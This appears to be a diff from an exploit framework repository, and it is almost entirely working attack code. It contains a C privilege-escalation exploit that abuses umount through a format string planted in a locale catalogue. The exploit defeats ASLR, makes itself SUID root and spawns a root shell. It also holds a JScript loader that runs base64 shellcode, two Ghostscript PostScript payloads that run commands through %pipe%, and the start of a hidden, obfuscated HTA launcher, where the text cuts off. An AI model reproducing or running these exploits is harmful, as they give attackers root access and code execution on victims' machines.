char *stackDumpStr=(char*)malloc(0x80+6*(STACK_LONG_DUMP_BYTES/8));
|
||||
assert(stackDumpStr);
|
||||
char *stackDumpStrEnd=stackDumpStr;
|
||||
stackDumpStrEnd+=sprintf(stackDumpStrEnd, "AA%%%d$lnAAAAAA",
|
||||
((int*)osReleaseExploitData[3])[ED_STACK_OFFSET_CTX]);
|
||||
for(int dumpCount=(STACK_LONG_DUMP_BYTES/8); dumpCount; dumpCount--) {
|
||||
memcpy(stackDumpStrEnd, "%016lx", 6);
|
||||
stackDumpStrEnd+=6;
|
||||
}
|
||||
// We wrote allready 8 bytes, write so many more to produce a
|
||||
// count of 'L' and write that to the stack. As all writes so
|
||||
// sum up to a count aligned by 8, and 'L'==0x4c, we will have
|
||||
// to write at least 4 bytes, which is longer than any "%hhx"
|
||||
// format string output. Hence do not care about the byte content
|
||||
// here. The target write address has a 16 byte alignment due
|
||||
// to varg structure.
|
||||
stackDumpStrEnd+=sprintf(stackDumpStrEnd, "%%1$%dhhx%%%d$hhn",
|
||||
('L'-8-STACK_LONG_DUMP_BYTES*2)&0xff,
|
||||
STACK_LONG_DUMP_BYTES/16);
|
||||
*stackDumpStrEnd=0;
|
||||
result=writeMessageCatalogue(pathBuffer,
|
||||
(char*[]){
|
||||
"%s: mountpoint not found",
|
||||
"%s: not mounted",
|
||||
"%s: target is busy\n (In some cases useful info about processes that\n use the device is found by lsof(8) or fuser(1).)"
|
||||
},
|
||||
(char*[]){"1234", stackDumpStr, "5678"},
|
||||
3);
|
||||
assert(!result);
|
||||
free(stackDumpStr);
|
||||
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||
"%s/(unreachable)/tmp/%s/X.X/LC_MESSAGES/util-linux.mo",
|
||||
namespaceMountBaseDir, osReleaseExploitData[2]);
|
||||
assert(result<PATH_MAX);
|
||||
result=mknod(pathBuffer, S_IFIFO|0666, S_IFIFO);
|
||||
assert((!result)||(errno==EEXIST));
|
||||
secondPhaseTriggerPipePathname=strdup(pathBuffer);
|
||||
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||
"%s/(unreachable)/tmp/%s/X.x/LC_MESSAGES/util-linux.mo",
|
||||
namespaceMountBaseDir, osReleaseExploitData[2]);
|
||||
secondPhaseCataloguePathname=strdup(pathBuffer);
|
||||
|
||||
free(namespaceMountBaseDir);
|
||||
return(namespacedProcessPid);
|
||||
}
|
||||
|
||||
|
||||
|
||||
/** Create the format string to write an arbitrary value to the
|
||||
* stack. The created format string avoids to interfere with
|
||||
* the complex fprintf format handling logic by accessing fprintf
|
||||
* internal state on stack. Thus the modification method does
|
||||
* not depend on that ftp internals. The current libc fprintf
|
||||
* implementation copies values for formatting before applying
|
||||
* the %n writes, therefore pointers changed by fprintf operation
|
||||
* can only be utilized with the next fprintf invocation. As
|
||||
* we cannot rely on a stack having a suitable number of pointers
|
||||
* ready for arbitrary writes, we need to create those pointers
|
||||
* one by one. Everything needed is pointer on stack pointing
|
||||
* to another valid pointer and 4 helper pointers pointing to
|
||||
* writeable memory. The **argv list matches all those requirements.
|
||||
* @param printfArgvValuePos the position of the argv pointer from
|
||||
* printf format string view.
|
||||
* @param argvStackAddress the address of the argv list, where
|
||||
* the argv[0] pointer can be read.
|
||||
* @param printfArg0ValuePos the position of argv list containing
|
||||
* argv[0..n] pointers.
|
||||
* @param mainFunctionReturnAddress the address on stack where
|
||||
* the return address from the main() function to _libc_start()
|
||||
* is stored.
|
||||
* @param writeValue the value to write to mainFunctionReturnAddress
|
||||
*/
|
||||
void createStackWriteFormatString(
|
||||
char *formatBuffer, int bufferSize, int printfArgvValuePos,
|
||||
void *argvStackAddress, int printfArg0ValuePos,
|
||||
void *mainFunctionReturnAddress, unsigned short *writeData,
|
||||
int writeDataLength) {
|
||||
int result=0;
|
||||
int currentValue=-1;
|
||||
for(int nextWriteValue=0; nextWriteValue<0x10000;) {
|
||||
// Find the lowest value to write.
|
||||
nextWriteValue=0x10000;
|
||||
for(int valuePos=0; valuePos<writeDataLength; valuePos++) {
|
||||
int value=writeData[valuePos];
|
||||
if((value>currentValue)&&(value<nextWriteValue))
|
||||
nextWriteValue=value;
|
||||
}
|
||||
if(currentValue<0)
|
||||
currentValue=0;
|
||||
if(currentValue!=nextWriteValue) {
|
||||
result=snprintf(formatBuffer, bufferSize, "%%1$%1$d.%1$ds",
|
||||
nextWriteValue-currentValue);
|
||||
formatBuffer+=result;
|
||||
bufferSize-=result;
|
||||
currentValue=nextWriteValue;
|
||||
}
|
||||
for(int valuePos=0; valuePos<writeDataLength; valuePos++) {
|
||||
if(writeData[valuePos]==nextWriteValue) {
|
||||
result=snprintf(formatBuffer, bufferSize,
|
||||
"%%%d$hn", printfArg0ValuePos+valuePos+1);
|
||||
formatBuffer+=result;
|
||||
bufferSize-=result;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Print the return function address location number of bytes
|
||||
// except 8 (those from the LABEL counter) and write the value
|
||||
// to arg1.
|
||||
int writeCount=((int)mainFunctionReturnAddress-18)&0xffff;
|
||||
result=snprintf(formatBuffer, bufferSize,
|
||||
"%%1$%d.%ds%%1$s%%1$s%%%d$hn",
|
||||
writeCount, writeCount, printfArg0ValuePos);
|
||||
formatBuffer+=result;
|
||||
bufferSize-=result;
|
||||
|
||||
// Write the LABEL 6 more times, thus multiplying the the single
|
||||
// byte write pointer to an 8-byte aligned argv-list pointer and
|
||||
// update argv[0] to point to argv[1..n].
|
||||
writeCount=(((int)argvStackAddress)-(writeCount+56))&0xffff;
|
||||
result=snprintf(formatBuffer, bufferSize,
|
||||
"%%1$s%%1$s%%1$s%%1$s%%1$s%%1$s%%1$%d.%ds%%%d$hn",
|
||||
writeCount, writeCount, printfArgvValuePos);
|
||||
formatBuffer+=result;
|
||||
bufferSize-=result;
|
||||
|
||||
// Append a debugging preamble.
|
||||
result=snprintf(formatBuffer, bufferSize, "-%%35$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%78$s\n",
|
||||
printfArgvValuePos, printfArg0ValuePos-1, printfArg0ValuePos,
|
||||
printfArg0ValuePos+1, printfArg0ValuePos+2, printfArg0ValuePos+3,
|
||||
printfArg0ValuePos+4, printfArg0ValuePos+5, printfArg0ValuePos+6);
|
||||
formatBuffer+=result;
|
||||
bufferSize-=result;
|
||||
}
|
||||
|
||||
|
||||
/** Wait for the trigger pipe to open. The pipe will be closed
|
||||
* immediately after opening it.
|
||||
* @return 0 when the pipe was opened before hitting a timeout.
|
||||
*/
|
||||
int waitForTriggerPipeOpen(char *pipeName) {
|
||||
struct timespec startTime, currentTime;
|
||||
int result=clock_gettime(CLOCK_MONOTONIC, &startTime);
|
||||
startTime.tv_sec+=10;
|
||||
assert(!result);
|
||||
while(1) {
|
||||
int pipeFd=open(pipeName, O_WRONLY|O_NONBLOCK);
|
||||
if(pipeFd>=0) {
|
||||
close(pipeFd);
|
||||
break;
|
||||
}
|
||||
result=clock_gettime(CLOCK_MONOTONIC, ¤tTime);
|
||||
if(currentTime.tv_sec>startTime.tv_sec) {
|
||||
return(-1);
|
||||
}
|
||||
currentTime.tv_sec=0;
|
||||
currentTime.tv_nsec=100000000;
|
||||
nanosleep(¤tTime, NULL);
|
||||
}
|
||||
return(0);
|
||||
}
|
||||
|
||||
|
||||
/** Invoke umount to gain root privileges.
|
||||
* @return 0 if the umount process terminated with expected exit
|
||||
* status.
|
||||
*/
|
||||
int attemptEscalation() {
|
||||
int escalationSuccess=-1;
|
||||
|
||||
char targetCwd[64];
|
||||
snprintf(
|
||||
targetCwd, sizeof(targetCwd)-1, "/proc/%d/cwd", namespacedProcessPid);
|
||||
|
||||
int pipeFds[2];
|
||||
int result=pipe(pipeFds);
|
||||
assert(!result);
|
||||
|
||||
pid_t childPid=fork();
|
||||
assert(childPid>=0);
|
||||
if(!childPid) {
|
||||
// This is the child process.
|
||||
close(pipeFds[0]);
|
||||
fprintf(stderr, "Starting subprocess\n");
|
||||
dup2(pipeFds[1], 1);
|
||||
dup2(pipeFds[1], 2);
|
||||
close(pipeFds[1]);
|
||||
result=chdir(targetCwd);
|
||||
assert(!result);
|
||||
|
||||
// Create so many environment variables for a kind of "stack spraying".
|
||||
int envCount=UMOUNT_ENV_VAR_COUNT;
|
||||
char **umountEnv=(char**)malloc((envCount+1)*sizeof(char*));
|
||||
assert(umountEnv);
|
||||
umountEnv[envCount--]=NULL;
|
||||
umountEnv[envCount--]="LC_ALL=C.UTF-8";
|
||||
while(envCount>=0) {
|
||||
umountEnv[envCount--]="AANGUAGE=X.X";
|
||||
}
|
||||
// Use the built-in C locale.
|
||||
// Invoke umount first by overwriting heap downwards using links
|
||||
// for "down", then retriggering another error message ("busy")
|
||||
// with hopefully similar same stack layout for other path "/".
|
||||
char* umountArgs[]={umountPathname, "/", "/", "/", "/", "/", "/", "/", "/", "/", "/", "down", "LABEL=78", "LABEL=789", "LABEL=789a", "LABEL=789ab", "LABEL=789abc", "LABEL=789abcd", "LABEL=789abcde", "LABEL=789abcdef", "LABEL=789abcdef0", "LABEL=789abcdef0", NULL};
|
||||
result=execve(umountArgs[0], umountArgs, umountEnv);
|
||||
assert(!result);
|
||||
}
|
||||
close(pipeFds[1]);
|
||||
int childStdout=pipeFds[0];
|
||||
|
||||
int escalationPhase=0;
|
||||
char readBuffer[1024];
|
||||
int readDataLength=0;
|
||||
char stackData[STACK_LONG_DUMP_BYTES];
|
||||
int stackDataBytes=0;
|
||||
|
||||
struct pollfd pollFdList[1];
|
||||
pollFdList[0].fd=childStdout;
|
||||
pollFdList[0].events=POLLIN;
|
||||
|
||||
// Now learn about the binary, prepare data for second exploitation
|
||||
// phase. The phases should be:
|
||||
// * 0: umount executes, glibc underflows and causes an util-linux.mo
|
||||
// file to be read, that contains a poisonous format string.
|
||||
// Successful poisoning results in writing of 8*'A' preamble,
|
||||
// we are looking for to indicate end of this phase.
|
||||
// * 1: The poisoned process writes out stack content to defeat
|
||||
// ASLR. Reading all relevant stack end this phase.
|
||||
// * 2: The poisoned process changes the "LANGUAGE" parameter,
|
||||
// thus triggering re-read of util-linux.mo. To avoid races,
|
||||
// we let umount open a named pipe, thus blocking execution.
|
||||
// As soon as the pipe is ready for writing, we write a modified
|
||||
// version of util-linux.mo to another file because the pipe
|
||||
// cannot be used for sending the content.
|
||||
// * 3: We read umount output to avoid blocking the process and
|
||||
// wait for it to ROP execute fchown/fchmod and exit.
|
||||
while(1) {
|
||||
if(escalationPhase==2) {
|
||||
// We cannot use the standard poll from below to monitor the pipe,
|
||||
// but also we do not want to block forever. Wait for the pipe
|
||||
// in nonblocking mode and then continue with next phase.
|
||||
result=waitForTriggerPipeOpen(secondPhaseTriggerPipePathname);
|
||||
if(result) {
|
||||
goto attemptEscalationCleanup;
|
||||
}
|
||||
escalationPhase++;
|
||||
}
|
||||
|
||||
// Wait at most 10 seconds for IO.
|
||||
result=poll(pollFdList, 1, 10000);
|
||||
if(!result) {
|
||||
// We ran into a timeout. This might be the result of a deadlocked
|
||||
// child, so kill the child and retry.
|
||||
fprintf(stderr, "Poll timed out\n");
|
||||
goto attemptEscalationCleanup;
|
||||
}
|
||||
// Perform the IO operations without blocking.
|
||||
if(pollFdList[0].revents&(POLLIN|POLLHUP)) {
|
||||
result=read(
|
||||
pollFdList[0].fd, readBuffer+readDataLength,
|
||||
sizeof(readBuffer)-readDataLength);
|
||||
if(!result) {
|
||||
if(escalationPhase<3) {
|
||||
// Child has closed the socket unexpectedly.
|
||||
goto attemptEscalationCleanup;
|
||||
}
|
||||
break;
|
||||
}
|
||||
if(result<0) {
|
||||
fprintf(stderr, "IO error talking to child\n");
|
||||
goto attemptEscalationCleanup;
|
||||
}
|
||||
readDataLength+=result;
|
||||
|
||||
// Handle the data depending on escalation phase.
|
||||
int moveLength=0;
|
||||
switch(escalationPhase) {
|
||||
case 0: // Initial sync: read A*8 preamble.
|
||||
if(readDataLength<8)
|
||||
continue;
|
||||
char *preambleStart=memmem(readBuffer, readDataLength,
|
||||
"AAAAAAAA", 8);
|
||||
if(!preambleStart) {
|
||||
// No preamble, move content only if buffer is full.
|
||||
if(readDataLength==sizeof(readBuffer))
|
||||
moveLength=readDataLength-7;
|
||||
break;
|
||||
}
|
||||
// We found, what we are looking for. Start reading the stack.
|
||||
escalationPhase++;
|
||||
moveLength=preambleStart-readBuffer+8;
|
||||
case 1: // Read the stack.
|
||||
// Consume stack data until or local array is full.
|
||||
while(moveLength+16<=readDataLength) {
|
||||
result=sscanf(readBuffer+moveLength, "%016lx",
|
||||
(int*)(stackData+stackDataBytes));
|
||||
if(result!=1) {
|
||||
// Scanning failed, the data injection procedure apparently did
|
||||
// not work, so this escalation failed.
|
||||
goto attemptEscalationCleanup;
|
||||
}
|
||||
moveLength+=sizeof(long)*2;
|
||||
stackDataBytes+=sizeof(long);
|
||||
// See if we reached end of stack dump already.
|
||||
if(stackDataBytes==sizeof(stackData))
|
||||
break;
|
||||
}
|
||||
if(stackDataBytes!=sizeof(stackData))
|
||||
break;
|
||||
|
||||
// All data read, use it to prepare the content for the next phase.
|
||||
fprintf(stderr, "Stack content received, calculating next phase\n");
|
||||
|
||||
int *exploitOffsets=(int*)osReleaseExploitData[3];
|
||||
|
||||
// This is the address, where source Pointer is pointing to.
|
||||
void *sourcePointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]];
|
||||
// This is the stack address source for the target pointer.
|
||||
void *sourcePointerLocation=sourcePointerTarget-0xd0;
|
||||
|
||||
void *targetPointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARG0]];
|
||||
// This is the stack address of the libc start function return
|
||||
// pointer.
|
||||
void *libcStartFunctionReturnAddressSource=sourcePointerLocation-0x10;
|
||||
fprintf(stderr, "Found source address location %p pointing to target address %p with value %p, libc offset is %p\n",
|
||||
sourcePointerLocation, sourcePointerTarget,
|
||||
targetPointerTarget, libcStartFunctionReturnAddressSource);
|
||||
// So the libcStartFunctionReturnAddressSource is the lowest address
|
||||
// to manipulate, targetPointerTarget+...
|
||||
|
||||
void *libcStartFunctionAddress=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]-2];
|
||||
void *stackWriteData[]={
|
||||
libcStartFunctionAddress+exploitOffsets[ED_LIBC_GETDATE_DELTA],
|
||||
libcStartFunctionAddress+exploitOffsets[ED_LIBC_EXECL_DELTA]
|
||||
};
|
||||
fprintf(stderr, "Changing return address from %p to %p, %p\n",
|
||||
libcStartFunctionAddress, stackWriteData[0],
|
||||
stackWriteData[1]);
|
||||
escalationPhase++;
|
||||
|
||||
char *escalationString=(char*)malloc(1024);
|
||||
createStackWriteFormatString(
|
||||
escalationString, 1024,
|
||||
exploitOffsets[ED_STACK_OFFSET_ARGV]+1, // Stack position of argv pointer argument for fprintf
|
||||
sourcePointerTarget, // Base value to write
|
||||
exploitOffsets[ED_STACK_OFFSET_ARG0]+1, // Stack position of argv[0] pointer ...
|
||||
libcStartFunctionReturnAddressSource,
|
||||
(unsigned short*)stackWriteData,
|
||||
sizeof(stackWriteData)/sizeof(unsigned short)
|
||||
);
|
||||
fprintf(stderr, "Using escalation string %s", escalationString);
|
||||
|
||||
result=writeMessageCatalogue(
|
||||
secondPhaseCataloguePathname,
|
||||
(char*[]){
|
||||
"%s: mountpoint not found",
|
||||
"%s: not mounted",
|
||||
"%s: target is busy\n (In some cases useful info about processes that\n use the device is found by lsof(8) or fuser(1).)"
|
||||
},
|
||||
(char*[]){
|
||||
escalationString,
|
||||
"BBBB5678%3$s\n",
|
||||
"BBBBABCD%s\n"},
|
||||
3);
|
||||
assert(!result);
|
||||
break;
|
||||
case 2:
|
||||
case 3:
|
||||
// Wait for pipe connection and output any result from mount.
|
||||
readDataLength=0;
|
||||
break;
|
||||
default:
|
||||
fprintf(stderr, "Logic error, state %d\n", escalationPhase);
|
||||
goto attemptEscalationCleanup;
|
||||
}
|
||||
if(moveLength) {
|
||||
memmove(readBuffer, readBuffer+moveLength, readDataLength-moveLength);
|
||||
readDataLength-=moveLength;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
attemptEscalationCleanup:
|
||||
// Wait some time to avoid killing umount even when exploit was
|
||||
// successful.
|
||||
sleep(1);
|
||||
close(childStdout);
|
||||
// It is safe to kill the child as we did not wait for it to finish
|
||||
// yet, so at least the zombie process is still here.
|
||||
kill(childPid, SIGKILL);
|
||||
pid_t waitedPid=waitpid(childPid, NULL, 0);
|
||||
assert(waitedPid==childPid);
|
||||
|
||||
return(escalationSuccess);
|
||||
}
|
||||
|
||||
|
||||
/** This function invokes the shell specified via environment
|
||||
* or the default shell "/bin/sh" when undefined. The function
|
||||
* does not return on success.
|
||||
* @return -1 on error
|
||||
*/
|
||||
int invokeShell(char *shellName) {
|
||||
if(!shellName)
|
||||
shellName=getenv("SHELL");
|
||||
if(!shellName)
|
||||
shellName="/bin/sh";
|
||||
char* shellArgs[]={shellName, NULL};
|
||||
execve(shellName, shellArgs, environ);
|
||||
fprintf(stderr, "Failed to launch shell %s\n", shellName);
|
||||
return(-1);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
char *programmName=argv[0];
|
||||
int exitStatus=1;
|
||||
|
||||
if(getuid()==0) {
|
||||
fprintf(stderr, "%s: you are already root, invoking shell ...\n",
|
||||
programmName);
|
||||
invokeShell(NULL);
|
||||
return(1);
|
||||
}
|
||||
|
||||
if(geteuid()==0) {
|
||||
struct stat statBuf;
|
||||
int result=stat("/proc/self/exe", &statBuf);
|
||||
assert(!result);
|
||||
if(statBuf.st_uid||statBuf.st_gid) {
|
||||
fprintf(stderr, "%s: internal invocation, setting SUID mode\n",
|
||||
programmName);
|
||||
int handle=open("/proc/self/exe", O_RDONLY);
|
||||
fchown(handle, 0, 0);
|
||||
fchmod(handle, 04755);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
fprintf(stderr, "%s: invoked as SUID, invoking shell ...\n",
|
||||
programmName);
|
||||
setresgid(0, 0, 0);
|
||||
setresuid(0, 0, 0);
|
||||
invokeShell(NULL);
|
||||
return(1);
|
||||
}
|
||||
|
||||
for(int argPos=1; argPos<argc;) {
|
||||
char *argName=argv[argPos++];
|
||||
if(argPos==argc) {
|
||||
fprintf(stderr, "%s requires parameter\n", argName);
|
||||
return(1);
|
||||
}
|
||||
if(!strcmp("--Pid", argName)) {
|
||||
char *endPtr;
|
||||
namespacedProcessPid=strtoll(argv[argPos++], &endPtr, 10);
|
||||
if((errno)||(*endPtr)) {
|
||||
fprintf(stderr, "Invalid pid value\n");
|
||||
return(1);
|
||||
}
|
||||
killNamespacedProcessFlag=0;
|
||||
} else {
|
||||
fprintf(stderr, "Unknown argument %s\n", argName);
|
||||
return(1);
|
||||
}
|
||||
}
|
||||
|
||||
fprintf(stderr, "%s: setting up environment ...\n", programmName);
|
||||
|
||||
if(!osRelease) {
|
||||
if(detectOsRelease()) {
|
||||
fprintf(stderr, "Failed to detect OS version, continuing anyway\n");
|
||||
}
|
||||
}
|
||||
|
||||
umountPathname=findUmountBinaryPathname("/bin");
|
||||
if((!umountPathname)&&(getenv("PATH")))
|
||||
umountPathname=findUmountBinaryPathname(getenv("PATH"));
|
||||
if(!umountPathname) {
|
||||
fprintf(stderr, "Failed to locate \"umount\" binary, is PATH correct?\n");
|
||||
goto preReturnCleanup;
|
||||
}
|
||||
fprintf(stderr, "%s: using umount at \"%s\".\n", programmName,
|
||||
umountPathname);
|
||||
|
||||
pid_t nsPid=prepareNamespacedProcess();
|
||||
if(nsPid<0) {
|
||||
goto preReturnCleanup;
|
||||
}
|
||||
|
||||
// Gaining root can still fail due to ASLR creating additional
|
||||
// path separators in memory addresses residing in area to be
|
||||
// overwritten by buffer underflow. Retry regaining until this
|
||||
// executable changes uid/gid.
|
||||
int escalateMaxAttempts=10;
|
||||
int excalateCurrentAttempt=0;
|
||||
while(excalateCurrentAttempt<escalateMaxAttempts) {
|
||||
excalateCurrentAttempt++;
|
||||
fprintf(stderr, "Attempting to gain root, try %d of %d ...\n",
|
||||
excalateCurrentAttempt, escalateMaxAttempts);
|
||||
|
||||
attemptEscalation();
|
||||
|
||||
struct stat statBuf;
|
||||
int statResult=stat("/proc/self/exe", &statBuf);
|
||||
int stat(const char *pathname, struct stat *buf);
|
||||
if(statResult) {
|
||||
fprintf(stderr, "Failed to stat /proc/self/exe: /proc not mounted, access restricted, executable deleted?\n");
|
||||
break;
|
||||
}
|
||||
if(statBuf.st_uid==0) {
|
||||
fprintf(stderr, "Executable now root-owned\n");
|
||||
goto escalateOk;
|
||||
}
|
||||
}
|
||||
|
||||
fprintf(stderr, "Escalation FAILED, maybe target system not (yet) supported by exploit!\n");
|
||||
|
||||
preReturnCleanup:
|
||||
if(namespacedProcessPid>0) {
|
||||
if(killNamespacedProcessFlag) {
|
||||
kill(namespacedProcessPid, SIGKILL);
|
||||
} else {
|
||||
// We used an existing namespace or chroot to escalate. Remove
|
||||
// the files created there.
|
||||
fprintf(stderr, "No namespace cleanup for preexisting namespaces yet, do it manually.\n");
|
||||
}
|
||||
}
|
||||
|
||||
if(!exitStatus) {
|
||||
fprintf(stderr, "Cleanup completed, re-invoking binary\n");
|
||||
invokeShell("/proc/self/exe");
|
||||
exitStatus=1;
|
||||
}
|
||||
return(exitStatus);
|
||||
|
||||
escalateOk:
|
||||
exitStatus=0;
|
||||
goto preReturnCleanup;
|
||||
}
|
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,76 @@
|
|||
import System;
|
||||
import System.Runtime.InteropServices;
|
||||
import System.Reflection;
|
||||
import System.Reflection.Emit;
|
||||
import System.Runtime;
|
||||
import System.Text;
|
||||
|
||||
function InvokeWin32(dllName:String, returnType:Type,
|
||||
methodName:String, parameterTypes:Type[], parameters:Object[])
|
||||
{
|
||||
// Begin to build the dynamic assembly
|
||||
var domain = AppDomain.CurrentDomain;
|
||||
var name = new System.Reflection.AssemblyName('PInvokeAssembly');
|
||||
var assembly = domain.DefineDynamicAssembly(name, AssemblyBuilderAccess.Run);
|
||||
var module = assembly.DefineDynamicModule('PInvokeModule');
|
||||
var type = module.DefineType('PInvokeType',TypeAttributes.Public + TypeAttributes.BeforeFieldInit);
|
||||
|
||||
// Define the actual P/Invoke method
|
||||
var method = type.DefineMethod(methodName, MethodAttributes.Public + MethodAttributes.HideBySig + MethodAttributes.Static + MethodAttributes.PinvokeImpl, returnType, parameterTypes);
|
||||
|
||||
// Apply the P/Invoke constructor
|
||||
var ctor = System.Runtime.InteropServices.DllImportAttribute.GetConstructor([Type.GetType("System.String")]);
|
||||
var attr = new System.Reflection.Emit.CustomAttributeBuilder(ctor, [dllName]);
|
||||
method.SetCustomAttribute(attr);
|
||||
|
||||
// Create the temporary type, and invoke the method.
|
||||
var realType = type.CreateType();
|
||||
return realType.InvokeMember(methodName, BindingFlags.Public + BindingFlags.Static + BindingFlags.InvokeMethod, null, null, parameters);
|
||||
}
|
||||
|
||||
function VirtualAlloc( lpStartAddr:UInt32, size:UInt32, flAllocationType:UInt32, flProtect:UInt32)
|
||||
{
|
||||
var parameterTypes:Type[] = [Type.GetType("System.UInt32"),Type.GetType("System.UInt32"),Type.GetType("System.UInt32"),Type.GetType("System.UInt32")];
|
||||
var parameters:Object[] = [lpStartAddr, size, flAllocationType, flProtect];
|
||||
|
||||
return InvokeWin32("kernel32.dll", Type.GetType("System.IntPtr"), "VirtualAlloc", parameterTypes, parameters );
|
||||
}
|
||||
|
||||
function CreateThread( lpThreadAttributes:UInt32, dwStackSize:UInt32, lpStartAddress:IntPtr, param:IntPtr, dwCreationFlags:UInt32, lpThreadId:UInt32)
|
||||
{
|
||||
var parameterTypes:Type[] = [Type.GetType("System.UInt32"),Type.GetType("System.UInt32"),Type.GetType("System.IntPtr"),Type.GetType("System.IntPtr"), Type.GetType("System.UInt32"), Type.GetType("System.UInt32") ];
|
||||
var parameters:Object[] = [lpThreadAttributes, dwStackSize, lpStartAddress, param, dwCreationFlags, lpThreadId ];
|
||||
|
||||
return InvokeWin32("kernel32.dll", Type.GetType("System.IntPtr"), "CreateThread", parameterTypes, parameters );
|
||||
}
|
||||
|
||||
function WaitForSingleObject( handle:IntPtr, dwMiliseconds:UInt32)
|
||||
{
|
||||
var parameterTypes:Type[] = [Type.GetType("System.IntPtr"),Type.GetType("System.UInt32")];
|
||||
var parameters:Object[] = [handle, dwMiliseconds ];
|
||||
|
||||
return InvokeWin32("kernel32.dll", Type.GetType("System.IntPtr"), "WaitForSingleObject", parameterTypes, parameters );
|
||||
}
|
||||
|
||||
function ShellCodeExec()
|
||||
{
|
||||
var MEM_COMMIT:uint = 0x1000;
|
||||
var PAGE_EXECUTE_READWRITE:uint = 0x40;
|
||||
|
||||
var shellcodestr:String = '<%= file_payload %>'
|
||||
var shellcode:Byte[] = System.Convert.FromBase64String(shellcodestr);
|
||||
var funcAddr:IntPtr = VirtualAlloc(0, UInt32(shellcode.Length),MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
|
||||
Marshal.Copy(shellcode, 0, funcAddr, shellcode.Length);
|
||||
var hThread:IntPtr = IntPtr.Zero;
|
||||
var threadId:UInt32 = 0;
|
||||
// prepare data
|
||||
var pinfo:IntPtr = IntPtr.Zero;
|
||||
// execute native code
|
||||
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, threadId);
|
||||
WaitForSingleObject(hThread, 0xFFFFFFFF);
|
||||
|
||||
}
|
||||
|
||||
ShellCodeExec();
|
|
@ -0,0 +1,9 @@
|
|||
%!PS
|
||||
userdict /setpagedevice undef
|
||||
a0
|
||||
currentpagedevice /HWResolution get 0 (metasploit) put
|
||||
{ grestore } stopped pop
|
||||
(ppmraw) selectdevice
|
||||
mark /OutputFile (%pipe%echo vulnerable > /dev/tty) currentdevice putdeviceprops
|
||||
{ showpage } stopped pop
|
||||
quit
|
|
@ -0,0 +1,81 @@
|
|||
%!PS
|
||||
% This is ghostscript bug #699687 (split out from bug #699654)
|
||||
|
||||
% ImageMagick define setpagedevice, just remove their definition. This doesn't
|
||||
% do anything if not using ImageMagick.
|
||||
userdict /setpagedevice undef
|
||||
|
||||
% function to check if we're on Linux or Windows
|
||||
/iswindows {
|
||||
% Just checking if paths contain drive
|
||||
null (w) .tempfile closefile 1 get 16#3A eq
|
||||
} def
|
||||
|
||||
% just select a papersize to initialize page device
|
||||
a0
|
||||
|
||||
% The bug is that if you can make grestore or restore fail non-fatally,
|
||||
% LockSafetyParams isn't restored properly. grestore will fail if you set crazy
|
||||
% properties in your pagedevice, like a nonsense resolution.
|
||||
%
|
||||
% Normally it would be something like [72.0 72.0], but you can't just def
|
||||
% HWResolution to something else (for example), because it's readonly:
|
||||
%
|
||||
% GS>currentpagedevice wcheck ==
|
||||
% false
|
||||
%
|
||||
% But you can just put or astore into it, because the array itself is writable:
|
||||
% GS>currentpagedevice /HWResolution get wcheck ==
|
||||
% true
|
||||
%
|
||||
% Lets just put some junk in there.
|
||||
currentpagedevice /HWResolution get 0 (foobar) put
|
||||
|
||||
% This grestore will fail, stopped just catches the error instead of aborting.
|
||||
{ grestore } stopped pop
|
||||
|
||||
% Now LockSafetyParams will be incorrectly unset, you can check like this:
|
||||
% GS>mark currentdevice getdeviceprops .dicttomark /.LockSafetyParams get == pop
|
||||
% false
|
||||
|
||||
% We can change and configure devices now, so make sure we're using one with
|
||||
% a OutputFile property.
|
||||
(ppmraw) selectdevice
|
||||
|
||||
% Check if we're on Windows or UNIX
|
||||
iswindows {
|
||||
% This is Windows, gswin32c.exe supports %pipe%, so you can just run calc.exe.
|
||||
%
|
||||
% The graphical version doesn't seem to support %pipe%, but you can create
|
||||
% arbitrary files. If something is using the api (gs32dll.dll), it may or
|
||||
% may not support %pipe%.
|
||||
|
||||
/getstartupdirwindows {
|
||||
% This figures out startup location from %TEMP% (Tested on Win10)
|
||||
(C:\\USERS\\XXXXXX~1\\STARTM~1\\PROGRAMS\\STARTUP\\)
|
||||
dup 0 null (w) .tempfile closefile 0 18 getinterval putinterval
|
||||
} def
|
||||
|
||||
% (directory) (extension) randfile (result)
|
||||
/randfile {
|
||||
% pick a random filename
|
||||
exch rand 32 string cvs concatstrings exch concatstrings
|
||||
} def
|
||||
|
||||
mark /OutputFile (%pipe%calc.exe) currentdevice putdeviceprops
|
||||
|
||||
% if you need to create files, use txtwrite like this:
|
||||
|
||||
%mark /OutputFile getstartupdirwindows (.bat) randfile
|
||||
% { (txtwrite) selectdevice } stopped pop putdeviceprops setdevice
|
||||
%0 0 moveto
|
||||
%(REM This is an exploit demo\n) show
|
||||
%(calc.exe\n) show
|
||||
} {
|
||||
% This is UNIX, just run a shell command
|
||||
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
|
||||
} ifelse
|
||||
|
||||
{ showpage } stopped pop
|
||||
|
||||
quit
|
|
@ -0,0 +1,150 @@
|
|||
<html>
|
||||
<head>
|
||||
<HTA:APPLICATION WINDOWSTATE="minimize" SHOWINTASKBAR="no" SYSMENU="no" CAPTION="no" />
|
||||
</head>
|
||||
</html>
|
||||
<script>
|
||||
window.resizeTo(1, 1);
|
||||
window.moveTo(-2000, -2000);
|
||||
// Base64 implementation found on http://www.webtoolkit.info/javascript-base64.html
|
||||
// variable names changed to make obfuscation easier
|
||||
var Base64 = {
|
||||
// private property
|
||||
_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
|
||||
|
||||
// public method for decoding
|
||||
decode : function (input) {
|
||||
var output = "";
|
||||
var chr1, chr2, chr3;
|
||||
var enc1, enc2, enc3, enc4;
|
||||
var i = 0;
|
||||
